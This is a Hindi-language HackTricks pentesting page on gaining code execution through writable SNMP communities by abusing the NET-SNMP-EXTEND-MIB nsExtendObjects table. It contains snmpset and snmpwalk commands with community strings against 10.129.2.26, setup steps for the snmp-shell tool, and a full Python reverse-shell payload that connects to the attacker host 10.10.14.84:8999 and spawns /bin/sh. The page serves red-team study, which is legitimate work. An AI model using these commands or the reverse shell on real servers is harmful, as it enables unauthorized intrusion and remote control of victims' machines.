tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

SNMP RCE

यदि व्यवस्थापक डिवाइस या सर्वर पर इसके डिफ़ॉल्ट कॉन्फ़िगरेशन को नजरअंदाज करता है, तो एक हमलावर SNMP का लाभ उठा सकता है। एक Linux ऑपरेटिंग सिस्टम पर लिखने की अनुमति (rwcommunity) के साथ SNMP समुदाय का दुरुपयोग करके, हमलावर सर्वर पर कमांड निष्पादित कर सकता है।

अतिरिक्त कमांड के साथ सेवाओं का विस्तार करना

SNMP सेवाओं का विस्तार करने और अतिरिक्त कमांड जोड़ने के लिए, "nsExtendObjects" तालिका में नए पंक्तियाँ जोड़ना संभव है। यह snmpset कमांड का उपयोग करके और आवश्यक पैरामीटर प्रदान करके किया जा सकता है, जिसमें निष्पादन योग्य फ़ाइल का पूर्ण पथ और निष्पादित करने के लिए कमांड शामिल है:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

कमांड्स को निष्पादित करने के लिए इंजेक्ट करना

SNMP सेवा पर चलाने के लिए कमांड्स इंजेक्ट करने के लिए कॉल किए गए बाइनरी/स्क्रिप्ट का अस्तित्व और निष्पादन योग्य होना आवश्यक है। NET-SNMP-EXTEND-MIB निष्पादन योग्य के लिए पूर्ण पथ प्रदान करने की आवश्यकता करता है।

इंजेक्ट किए गए कमांड के निष्पादन की पुष्टि करने के लिए, snmpwalk कमांड का उपयोग SNMP सेवा को सूचीबद्ध करने के लिए किया जा सकता है। आउटपुट कमांड और इसके संबंधित विवरण प्रदर्शित करेगा, जिसमें पूर्ण पथ शामिल है:

bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Injected Commands को चलाना

जब injected command को पढ़ा जाता है, तो इसे निष्पादित किया जाता है। इस व्यवहार को run-on-read() के रूप में जाना जाता है। कमांड का निष्पादन snmpwalk पढ़ने के दौरान देखा जा सकता है।

SNMP के साथ सर्वर शेल प्राप्त करना

सर्वर पर नियंत्रण प्राप्त करने और एक सर्वर शेल प्राप्त करने के लिए, mxrch द्वारा विकसित एक python स्क्रिप्ट का उपयोग https://github.com/mxrch/snmp-shell.git से किया जा सकता है।

वैकल्पिक रूप से, SNMP में एक विशिष्ट कमांड को इंजेक्ट करके मैन्युअल रूप से एक रिवर्स शेल बनाया जा सकता है। यह कमांड, जो snmpwalk द्वारा ट्रिगर होती है, हमलावर की मशीन के लिए एक रिवर्स शेल कनेक्शन स्थापित करती है, जिससे पीड़ित मशीन पर नियंत्रण प्राप्त होता है। आप इसे चलाने के लिए पूर्व-आवश्यकता स्थापित कर सकते हैं:

bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

या एक रिवर्स शेल:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें